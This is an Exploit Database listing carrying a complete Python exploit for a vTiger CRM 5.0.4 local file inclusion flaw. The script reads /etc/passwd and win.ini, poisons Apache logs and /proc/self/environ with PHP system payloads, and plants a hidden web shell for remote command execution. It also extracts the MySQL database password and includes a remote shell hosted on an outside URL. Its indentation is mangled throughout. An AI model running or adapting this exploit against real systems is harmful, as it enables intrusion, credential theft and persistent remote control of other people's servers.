vTiger CRM 5.0.4 – Local File Inclusion

• Exploit Database
• 13 阅读

• 作者： TecR0c
  日期： 2011-03-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16280/

• #!/usr/bin/python
  # ~INFORMATION:									#
  # Exploit Title:	Vtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit#
  # Google Dork:		"The honest Open Source CRM" "vtiger CRM 5.0.4"		#
  # Date: 		5/3/2011						#
  # CVE:			CVE-2009-3249						#
  # Windows link:		http://bit.ly/fiOYCL					#
  # Linux link:		http://bit.ly/hluzLf					#
  # Tested on:		Windows XP/Linux Ubuntu					#
  # PHP.ini Settings:	gpc_magic_quotes = Off					#
  # Advisory: http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt	#
  # Creds: Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco	#
  # "ascii" Ongaro are credited with the discovery of this vulnerability.		#
  # Greetz: mr_me, sud0, sinn3r & my other fellow hackers				#
  # Note: Loading URL files may require tampering of code ;-)			#
  
  # ~VULNERABLE CODE:
  '''
  if(isset($_REQUEST['action']) && isset($_REQUEST['module']))
  {
  $action = $_REQUEST['action'];
  $current_module_file = 'modules/'.$_REQUEST['module'].'/'.$action.'.php';
  $current_module = $_REQUEST['module'];
  }
  elseif(isset($_REQUEST['module']))
  {
  	$current_module = $_REQUEST['module'];
  	$current_module_file = 'modules/'.$_REQUEST['module'].'/Charts.php';
  }
  else {
  exit();
  ...
  ...
  ...
  require_once($current_module_file);
  '''
  # ~EXPLOIT:
  import linecache,random,sys,urllib,urllib2,time,re,httplib,socket,base64,os,webbrowser,getpass
  from optparse import OptionParser
  from urlparse import urlparse,urljoin
  from urllib import urlopen
  
  __CONTACT__ ="TecR0c(tecr0c@tecninja.net)"
  __DATE__ ="3.3.2011"
  __VERSION__ = "1.0"
  
  # Options for running script
  usage = "\nExample : %s http://localhost/vtigercrm/ -p 172.167.876.34:8080" % __file__
  parser = OptionParser(usage=usage)
  parser.add_option("-p","--p", type="string",action="store", dest="proxy",
  help="HTTP Proxy <server>:<port>")
  parser.add_option("-f","--f", type="string",action="store", dest="file",
  help="Input list of target URLS")
  parser.add_option("-P","--P",type="int",action='store', default="80", dest="port",
  help="Choose Port [Default: %default]")
  
  (options, args) = parser.parse_args()
  
  numlines=0
  # Parameter for command execution
  vulnWebPage = "graph.php?module="
  # Loca File inclusion path
  lfi = "../../../../../../../../../"
  # OS Linux detection
  linuxOS = "etc/passwd"
  # OS Windows Detection
  windowsOS = "windows/win.ini"
  # Windows default non-IIS setup access log file for vtiger
  winLogs = "../../../logs/access.log"
  # Windows Vtiger Instllation PHP Info file
  vtPlatformLog = "../logs/platform.log"
  # Linux Log files
  lnxLogs =['/var/log/access_log',
  '/var/log/access.log',
  '/var/log/apache2/access_log',
  '/var/log/apache2/access.log',
  '/var/log/apache2/error_log',
  '/var/log/apache2/error.log',
  '/var/log/apache/access_log',
  '/var/log/apache/access.log',
  '/var/log/apache/error_log',
  '/var/log/apache/error.log',
  '/var/log/user.log',
  '/var/log/user.log.1',
  '/apache/logs/access.log',
  '/apache/logs/error.log',
  '/etc/httpd/logs/acces_log',
  '/etc/httpd/logs/acces.log',
  '/etc/httpd/logs/access_log',
  '/etc/httpd/logs/access.log',
  '/etc/httpd/logs/error_log',
  '/etc/httpd/logs/error.log',
  '/usr/local/apache2/logs/access_log',
  '/usr/local/apache2/logs/access.log',
  '/usr/local/apache2/logs/error_log',
  '/usr/local/apache2/logs/error.log',
  '/usr/local/apache/logs/access_log',
  '/usr/local/apache/logs/access.log',
  '/usr/local/apache/logs/error_log',
  '/usr/local/apache/logs/error.log'
  	'/logs/access.log',
  '/logs/error.log',
  	'/var/log/error_log',
  '/var/log/error.log',
  '/var/log/httpd/access_log',
  '/var/log/httpd/access.log',
  '/var/log/httpd/error_log',
  '/var/log/httpd/error.log',
  '/var/www/logs/access_log',
  '/var/www/logs/access.log',
  '/var/www/logs/error_log',
  '/var/www/logs/error.log']
  # User Agents
  agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
  "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
  "Google Chrome 0.2.149.29 (Windows XP)",
  "Opera 9.25 (Windows Vista)",
  "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
  "Opera/8.00 (Windows NT 5.1; U; en)"]
  agent = random.choice(agents)
  
  def banner(): 
  if os.name == "posix": 
  os.system("clear") 
  else: 
  os.system("cls") 
  header = '''
   ____ _______________.________________________________ 	
   \ \ / /\_____/| |/_____/\_ _____/\______ \	
  \ Y / || | / \___ |__)_| _/	
   \ /|| | \\_\\|\ || \	
  \___/ |____| |___|\______/_______/ |____|_/	
  __,,,,_
   _ __..-;''`--/'/ /.',-`-. 
   (`/' ` |\ \ \ / / / / .-'/`,_ Version 5.0.4
  /'`\ \ |\ | \| // // / -.,/_,'-, 
   /<7' ;\ \| ; ||/ /| | \/|`-/,/-.,_,/')
  /_.-, `,-\,__|_-| / \ \/|_/|'-/.;.'' 
  `-`f/ ;/ __/ \__ `/ |__/ | 
   `-'|-| =|\_\|-' | %s
   __/ /_..-' `),'// Date %s
  ((__.-'((___..-'' \__.'
  
  '''%(__CONTACT__,__DATE__)
  for i in header: 
  print "\b%s"%i, 
  sys.stdout.flush() 
  time.sleep(0.003) 
  
  # Written to clean up shell output
  def cleanUp(response):
  	""" Comment or Uncomment if you want to filter the unwanted text returned in logs """
  	response = re.sub('<b(.*)',"", response)
  	response = re.sub("Fatal error(.*)","", response)
  	response = re.sub("Warning(.*)","", response)
  	response = re.sub('Notice(.*)',"", response)
  	return response
  
  def firstMenu():
  	print '''
  [+] 1. Test Environment
  [+] 2. Straight To Menu'''
  if options.file:
  		print "[+] 3. Go To Next URL"
  	menuChoice = raw_input("\n>> Enter Your Choice: ")
  if menuChoice == "1":
  		systemOS = informationGathering()
  if menuChoice == "2":
  systemOS = raw_input("[+] Which OS? (w)indows Or (l)inux: ")
  if menuChoice == "3":
  		websiteList(options.file)
  		firstMenu()
  	if systemOS == "l":
  linuxMenu()
  if systemOS == "w":
  windowsMenu()
  	if systemOS == None:
  		firstMenu()
  
  def websiteList(websiteFile):
  	global numlines
  	numlines+=1
  	url = linecache.getline(websiteFile, numlines)
  	url = url[:-1]
  	if url == '':
  		print "[-] No More Entries\n"
  		sys.exit()
  	print "\n["+str(numlines)+"] Target: "+url
  	url=urlparse(url)
  	return (url, numlines)
  
  def getProxy():
  	""" Lets you setup a proxy using the proxy defined in options.proxy """
  try:
  		proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
  		socket.setdefaulttimeout(100)
  	except(socket.timeout):
  print "\n[-] Proxy Timed Out"
  sys.exit(1)
  return proxy_handler
  
  def lfiRequest(localFile):
  """ Lets you send a GET request to see if LFI is posible either by proxy or direct """
  	if options.proxy:
  		try:
  			fetch_timeout = 20
  			proxyfier = urllib2.build_opener(getProxy())
  			proxyfier.addheaders = [('User-agent', agent)]
  			response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00",None,fetch_timeout).read()
  		except urllib2.HTTPError, error:
  			if error.code == '500':
  				pass
  			if options.file:
  				print "[+] Try Next URL"
  websiteList(options.file)
  				firstMenu()
  				sys.exit()
  			else:
  				print "[-] Check Your Webaddress And Directory"
  				sys.exit()
  except(urllib2.URLError):
  print "[-] Could Not Communicate With TARGET\n"
  print '[-] Stopping Script\n'
  sys.exit()
  	else:
  		try:
  			response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00")
  			response.add_header('User-agent',agent)
  			response = urllib2.urlopen(response).read()
  			response = cleanUp(response)
  		except urllib2.HTTPError, error:
  			if error.code == '500':
  				pass
  			if options.file:
  			print "[+] Try Next URL"
  websiteList(options.file)
  			firstMenu()
  			sys.exit()
  	else:
   				print "[-] Did Not Work"
  		except(urllib2.URLError):
  			print "[-] Could Not Communicate With TARGET"
  print '[-] Stopping Script\n'
  sys.exit()
  
  	return response
  
  def getRequest(localFile):
  	""" Lets you send a GET request to see if LFI is posible either by proxy or direct """
  	if options.proxy:
  		try:
  			fetch_timeout = 300
  			proxyfier = urllib2.build_opener(getProxy())
  			proxyfier.addheaders = [('User-agent', agent)]
  			response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00",None,fetch_timeout).read()
  		except urllib2.HTTPError, error:
  errorMessage = str(error.code)
  			if errorMessage == '500':
  print error
  				response = error.read()
  				pass
  			else:
  				print "[-] Verify Address Manually:"
  				print "[+] "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00"
  				sys.exit()
  	else:
  try:
  			response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00")
  			response.add_header('User-agent',agent)
  			response = urllib2.urlopen(response).read()
  		except urllib2.HTTPError, error:
  errorMessage = str(error.code)
   	if errorMessage == '500':
  print error
  pass
  else:
  print "[-] Verify Address Manually:"
  print "[+] "+url.geturl()+vulnWebPage+lfi+localFile+"%00"
  sys.exit()
  	return response
  
  def socketInject(payloadType):
  	""" Lets you inject into the Apache access log by proxy or direct """
  if options.proxy:
  		try:
  proxyIp, proxyPort = options.proxy.split(':')
  proxyPort = int(proxyPort)
  			sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.connect((proxyIp, proxyPort))
  if payloadType == 'systemPayload':
  				sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n")
  				sock.send("User-Agent: "+agent+"\r\n")
  				sock.send("Host: "+url.geturl()+"\r\n")
  				sock.send("Connection: close\r\n\r\n")
  			if payloadType == 'includePayload':
  				sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n\r\n")
  sock.send("User-Agent: "+agent+"\r\n")
  sock.send("Host: "+url.geturl()+"\r\n")
  sock.send("Connection: close\r\n\r\n")			
  			sock.close()
  			print "[+] Injected Payload Into Logs"
  		except:
  	print "[-] Could Not Inject Into Logs"
  			sys.exit(1)
  	else:
  		try:
  			sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  			sock.connect((url.netloc, options.port))
  			if payloadType == 'systemPayload':
  				sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n")
  				sock.send("User-Agent: "+agent+"\r\n")
  				sock.send("Host: "+url.scheme+url.netloc+"\r\n")
  				sock.send("Connection: close\r\n\r\n")
  			if payloadType == 'includePayload':
  				sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n")
  				sock.send("User-Agent: "+agent+"\r\n")
  				sock.send("Host: "+url.scheme+url.netloc+"\r\n")
  				sock.send("Connection: close\r\n\r\n")
  			sock.close()
  			print "[+] Injected Payload Into Logs"
  		except:
  			print "[-] Could Not Inject Into Logs"
  			sys.exit(1)
  
  def postRequestWebShell(shellName,encodedCmd):
  	""" WebShell which sends all POST requests to hide commmands being logged in access.log """
  	webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+"cache/."+shellName+".php"
  	if options.proxy:
  		try:
  			commandToExecute = [
  			('cat',encodedCmd)]
  			cmdData = urllib.urlencode(commandToExecute)
  			proxyfier = urllib2.build_opener(getProxy())
  			proxyfier.addheaders = [('User-agent', agent)]
  			cmdContent = proxyfier.open(webSiteUrl, cmdData).read()
  			cmdContent = cleanUp(cmdContent)
  			print cmdContent
  		except:
  			print "[-] Request To .%s.php Failed" % shellName
  	else:
  try:
  			values = { 'User-Agent' : agent,
  'cat': encodedCmd}
  			data = urllib.urlencode(values)
  			request= urllib2.Request(webSiteUrl, data)
  			response = urllib2.urlopen(request)
  			response = response.read()
  			response = cleanUp(response)
  			print response
  		except urllib2.HTTPError, error:
  response = error.read()
  
  def readFromAccessLogs(cmd, logs):
  	""" Lets you choose what type of os for the log location and command to run """
  if options.proxy:
  try:
  			proxyfier = urllib2.build_opener(getProxy())
  			proxyfier.addheaders = [('User-agent', agent)] 
  			proxyfier.addheaders.append(("Cookie", "value="+cmd))
  			response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00").read()
  except urllib2.HTTPError, error:
  			response = error.read()
  			sys.exit()
  else:
  try:
  			junk = None
  			headers = { 'User-Agent' : agent,
  			'Cookie': 'value='+cmd}
  			response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00",junk,headers)
  			response = urllib2.urlopen(response).read()
  		except urllib2.HTTPError, error:
  response = error.read()
  return response
  
  def informationGathering():
  	""" Used to gather information if magic_quotes is on, what operating sytem is being used and if error messages are on """ 
  
  # Use default LICIENSE.txt file in webroot to gather information
  	requestContent = lfiRequest("../LICENSE.txt")
  	
  	# Test for Magic Quotes
  	print "[+] INFORMATION GATHERING:"
  	print "[+] Checking if LFI Is Posible"
  	magicQuotes = re.compile('SugarCRM Public')
  	magicQuotes = magicQuotes.search(requestContent)
  	if magicQuotes:
  		print "[+] magic_quotes_gpc = Off"
  	else:
  		print "[-] magic_quotes_gpc = On"
  		print "[-] Or Your URL Is Incorrect"
  		if options.file:
  websiteList(options.file)
  		firstMenu()
  		else:
  			sys.exit()
  	# OS Detection
  	try:
  		passwd = getRequest(linuxOS)
  		searchFor = re.compile('root:')
  		searchLinuxOS = searchFor.search(passwd)
  		print "[!] Working Out The Operating System"
  		if searchLinuxOS:
  			print "[!] OS Detection: Linux"
  			systemOS = "l"
  		elif not searchLinuxOS:
  			winini = getRequest(windowsOS)
  			searchFor = re.compile('16-bit')
  			searchWindowsOS = searchFor.search(winini)
  			if searchWindowsOS:
  				print "[!] OS Detection: Windows"
  				systemOS= "w"
  			else:
  				print "[!] No Data Returned, You Will Have To Guess The Operating System"
  	 			firstMenu()
  				systemOS = None
  	except:
  		print "[-] Could Not Run OS Detection"
  		print "[-] System OS Could Not Be Set Try Option 2"
  		systemOS = None
  	try:
  		# Checking for Error Messages
  		print "[+] Checking If Error Messages Are Enabled"
  		pathError = re.compile(r"(reference in (.*)on|not found in (.*)graph.php)")
  		findPath = pathError.search(requestContent)
  		if findPath:
  	print "[-]Web Root Directory Is: "+findPath.group(1)
  		elif findPath == None:
  			platformRequest = getRequest(vtPlatformLog)
  			pathWinRootFinder = re.compile('REQUSET\["root_directory"\]</td><td class="v">(.*)</td>')
  			findWinPathRoot = pathWinRootFinder.search(platformRequest)
  			if findWinPathRoot:
  				 print "[-]WWWRoot Directory From Platform.log Is: "+findWinPathRoot.group(1)
  		else:
  			print "[-]Did Not Find Any Path Disclosure"
  	except:
  print "[-] Could Not Run Error Message Detection"
  	return systemOS 
  
  def environInject(shellName):
  """ Lets you get a shell through proc self environ by proxy or without """
  	webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+"proc/self/environ"+"%00"
  	shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName
  	if options.proxy:
  		try:
  			print '[+] Testing If /proc/self/environ Exists'
  			proxyfier = urllib2.build_opener(getProxy())
  			proxyfier.addheaders = [('User-agent', agent)]
  			response = proxyfier.open(webSiteUrl).read()
  			patFinder = re.compile('HTTP_USER_AGENT')
  			environContent = patFinder.search(response)
  			if environContent:
  				print '[+] Web Application Vulnerable to proc/self/environ'
  				proxyfier = urllib2.build_opener(getProxy())
  encodedCommand = base64.b64encode(shellString)
  commandToExecute = [
  ('cat',encodedCommand)]
  				cmdData = urllib.urlencode(commandToExecute)
  				proxyfier.addheaders = [('User-agent', "<?php system(base64_decode($_POST[cat]));?>")]
  				cmdContent = proxyfier.open(webSiteUrl, cmdData).read()
  			else:
  				print '[-] Could Not Create Shell'
  				sys.exit()
  except: 
  print "[-] Seems To Not Be Vulnerable To Proc Self Environment"
  		linuxMenu()
  			sys.exit()
  	else:
  try:
  shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName
  encodedCommand = base64.b64encode(shellString)
  headers = {'User-Agent' : '<?php system(base64_decode($_POST[cat]));?>',
  'cat' : encodedCommand}
  cmdContent = urllib2.Request(webSiteUrl,junk,headers)
  			cmdContent = urllib2.urlopen(cmdContent).read()
  		except urllib2.HTTPError, error:
  response = error.read()
  			print response
  	
  	while True:
  		try:
  			command = raw_input(commandLine)
  			encodedCmd = base64.b64encode(command)
  			postRequestWebShell(shellName,encodedCmd)
  		except KeyboardInterrupt:
  			encodedCmd = base64.b64encode('rm .'+shellName+'.php')
  			postRequestWebShell(shellName,encodedCmd)
  			print "[-] CTRL+C Detected!"
  			print "[+] Removed .%s.php\n" % shellName
  			sys.exit()
  
  def logInject(payloadType):
  	""" Lets you choose what type of payload to use such as include or system """
  	inject = raw_input("[?] To Inject? Press ENTER, Otherwise Type 'n' : ")
  	if inject == 'yes' or inject == 'y' or inject == '':
  		socketInject(payloadType)
  else:
  		print "[!] Did Not Inject Into Logs"
  
  def proxyCheck():
  	if options.proxy:
  		try:
  			h2 = httplib.HTTPConnection(options.proxy)
  			h2.connect()
  			print "[+] Using Proxy Server:",options.proxy
  		except(socket.timeout):
  			print "[-] Proxy Timed Out\n"
  			pass
  			sys.exit(1)
  		except(NameError):
  			print "[-] Proxy Not Given\n"
  			pass
  			sys.exit(1)
  		except:
  			print "[-] Proxy Failed\n"
  			pass
  			sys.exit(1)
  
  def shellMessage(shellName):
  	print '''
   # Shell: .%s.php 
   ###########################
   # Welcome To Remote Shell #
  # This Is Not Interactive #
   # To Exist Shell Ctrl + C #
   # Hack The Gibson #
   ###########################
  	''' % shellName
  
  # Linux Techniques
  def linuxMenu():
  print '''
  [+] 1. Terminal By Logs
  [+] 2. Terminal By Proc Self Environment'''
  if options.file:
  print '[+] 3. Go To Next URL'
  lnxChoice = raw_input(">> Enter Your Choice: ")
  
  # Log Technique
  if lnxChoice == '1':
  print "[!] Lets Hope You Got Rights To Their Logs!"
  for log in lnxLogs:
  print "[-] Testing %s" % log
  logReponse = getRequest(log)
  command2Find = re.compile('" 200')
  findCommand = command2Find.search(logReponse)
  if findCommand:
  print "[+] Injectable Log File Located @ %s" % log
  logInject("systemPayload")
  yourChoice = raw_input('[?] Do You Want To Create A Webshell? Press ENTER, Otherwise Type \'n\': ')
  logWithLfi = lfi+log
  if yourChoice == '':
  shellName = raw_input('[?] Name Of Your Webshell: ')
  print '[+] Creating Webshell'
  systemCommand = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName
  encodedCmd = base64.b64encode(systemCommand)
  readFromAccessLogs(encodedCmd, logWithLfi)
  print "[!] Tempting To Create WebShell .%s.php" % shellName
  shellMessage(shellName)
  while True:
  try:
  command = raw_input(commandLine)
  encodedCmd = base64.b64encode(command)
  postRequestWebShell(shellName,encodedCmd)
  except KeyboardInterrupt:
  encodedCmd = base64.b64encode('rm .'+shellName+'.php')
  postRequestWebShell(shellName,encodedCmd)
  print "[-] CTRL+C Detected!"
  print "[+] Removed .%s.php\n" % shellName
  sys.exit()
  else:
  cleanUp(response)
  logInject("systemPayload")
  while True:
  try:
  command = raw_input(commandLine)
  encodedCmd = base64.b64encode(command)
  postRequestWebShell(shellName,encodedCmd)
  except KeyboardInterrupt:
  encodedCmd = base64.b64encode('rm .'+shellName+'.php')
  postRequestWebShell(shellName,encodedCmd)
  print "[-] CTRL+C detected!"
  print "[+] Removed .%s.php\n" % shellName
  sys.exit()
  # Environ Technique
  if lnxChoice == '2':
  		shellName = raw_input('[?] Name Of Your Webshell: ') 
  		environInject(shellName)
  
  if lnxChoice == '3':
  websiteList(options.file)
  firstMenu()
  sys.exit()
  
  def windowsMenu():
  		print '''
  [+] 1. Remote File Inclusion Browser Shell 
  [+] 2. VTiger MySQL Password
  [+] 3. PHP WebShell
  		'''
  	winChoice = raw_input(">> Enter your choice: ")
  	if winChoice == '1':
  		try:
  		logInject("includePayload")
  		print "[+] Example: http://www.xfocus.net.ru/soft/r57.txt"
  		rfi = raw_input('>>> Enter Your Remote Webshell URL: ')
  		webbrowser.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+winLogs+"%00"+"&cmd="+base64.b64encode(rfi))
  print "[+] Check Your Web Browser!"
  except:
  		print "[-] RFI @ %s Did Not Work" % rfi
  		if winChoice == "2":
  			f = lfiRequest(vtPlatformLog)
  			patFinder = re.compile('POST\["db_password"\]</td><td class="v">(.*)</td>') 
  			findUser = patFinder.search(f)
  			if findUser is None:
  				print '[-] Did Not Find MySQL Database Password'
  			else:
  				print "[!] VTiger Password: "+findUser.group(1)
  		if winChoice == "3":
  			logInject("systemPayload")
  			shellName = raw_input('[?] Name Of Your Webshell: ')
  			systemCommand = "echo ^<?php;system(base64_decode($_REQUEST[cat]));?^> > cache/.%s.php" % shellName
  			encodedCmd = base64.b64encode(systemCommand)
  			readFromAccessLogs(encodedCmd, winLogs)		
  			print "[!] Created WebShell .%s.php" % shellName
  			shellMessage(shellName)
  			while True:
  				try: 
  					command = raw_input(commandLine) 
  					encodedCmd = base64.b64encode(command)
  					postRequestWebShell(shellName,encodedCmd)
  				except KeyboardInterrupt:
  					encodedCmd = base64.b64encode('del .'+shellName+'.php')
  					postRequestWebShell(shellName,encodedCmd)
  					print "[-] CTRL+C Detected!"
  					print "[+] Removed .%s.php\n" % shellName
  					sys.exit()
  if "__main__" == __name__:
  	banner()
  proxyCheck()
  	try:
  	url=urlparse(args[0])
  	except:
  		if options.file:
  			print "[+] Using Website List"
  			url,numlines = websiteList(options.file)
  		else:
  			parser.print_help()
  	print "\n[-] Check Your URL\n"	
  			sys.exit(1)
  	if not url.scheme:
  		print usage+"\n"
  		print "[-] Missing HTTP/HTTPS\n"
  		sys.exit(1)
  	commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
  	if not options.file:
  		print "[+] Target: "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path
  	firstMenu()